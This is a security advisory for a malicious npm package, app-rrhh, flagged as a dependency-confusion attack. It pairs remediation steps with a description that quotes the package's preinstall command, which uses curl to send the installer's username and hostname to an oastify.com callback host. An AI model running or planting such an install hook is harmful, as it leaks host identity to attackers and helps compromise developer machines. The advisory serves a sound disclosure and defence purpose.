MAL-2026-16144 Malicious code in app-rrhh (npm)
Malicious package
Published
MAL-2026-16144 is a malicious package: app-rrhh (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-16144/ (Markdown: https://insights.sbomify.com/MAL-2026-16144/index.md)
- Package
- app-rrhh
- Registry
- npm
What is MAL-2026-16144?
MAL-2026-16144 is a malicious package in app-rrhh, published on 14 Sep 2026.
Official description
package.json declares a preinstall script that runs
curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$(whoami)/$(hostname) on npm install. The installer's OS username and hostname are embedded in the URL path and sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain, confirming code execution on the installing host and leaking installer identity data to an attacker-controlled destination. The package name app-rrhh at version 999.0.0 with a description referencing dependency confusion is consistent with a dependency-confusion attack shape designed to win resolution against an internal package of the same name.What should I do about MAL-2026-16144?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.